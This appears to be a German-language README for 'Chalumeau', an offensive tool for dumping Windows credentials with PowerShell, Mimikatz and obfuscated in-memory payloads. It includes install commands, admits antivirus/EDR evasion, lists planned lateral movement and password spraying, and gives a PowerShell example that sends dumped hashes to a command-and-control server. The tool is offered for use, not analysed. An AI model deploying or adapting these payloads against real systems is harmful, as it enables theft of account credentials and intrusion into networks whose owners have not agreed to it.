Chalumeau

Chalumeau ist ein automatisiertes, erweiterbares und anpassbares Tool zum Auslesen von Anmeldeinformationen, das auf powershell und python basiert.

Hauptfunktionen

• Eigene Payloads schreiben
• In-Memory Ausführung
• Passwortliste extrahieren
• Dashboard-Berichte / Web-Oberfläche
• Mimikatz parsen
• Tickets auslesen

Screenshots

Bekannte Probleme

• Parsing Mimikatz dcsync (Fehlerbehebung in Arbeit)
• Umgehung von Antiviren- und EDR-Lösungen; Sie müssen Ihre Payloads warten

TODO

• Verschlüsselte Kommunikation
• Automatisierte laterale Bewegung
• Automatisiertes Password Spraying
• Automatisiertes Hash-Cracking

Verwendung

git clone https://github.com/cyberstruggle/chalumeau.git
cd chalumeau/
chmod +x install.sh
sudo ./install.sh

# Run
chmod +x start.sh

sudo ./start.sh

Eigenen Payload schreiben

Verschleiern Sie Ihren eigenen PowerShell-Payload zum Auslesen von Anmeldeinformationen und verwenden Sie den Chalumeau-Funktionsaufruf ohne Importe. Chalumeau verschlüsselt die Kommunikation mit dem C2 und sendet die extrahierten Anmeldeinformationen. Speichern Sie die Datei einfach unter chalumeau-power/payloads.

• Verwendung der ChalumeauSendCredentials-Funktion
  • ChalumeauSendCredentials
    • Secret = der extrahierte Hash oder das Klartext-Passwort (Zeichenkette)
    • Username = der Benutzername oder die ID der extrahierten Anmeldeinformationen (Zeichenkette)
    • IsClearText = 1, wenn es sich um Klartext handelt, sonst 0 (int)
    • Source = Quell-Payload angeben, z.B. "Mimikatz Hash" (Zeichenkette)

# Custom Payload Example
# $DumpedHashes is array of dumped hashes from the local machine
foreach ($hash in $DumpedHashes){
    ChalumeauSendCredentials -Secret $hash.secret -Username $hash.user -IsClearText 0 -source "My custom payload"
} 

Credits

• wazehell Autor
• Invoke-Obfuscation Daniel Bohannon
• Invoke-Mimikatz PowerSploit
• Get-PassHashes nishang
• Chalumeau Logo Aureliano
• Invoke-MassMimikatz PowerTools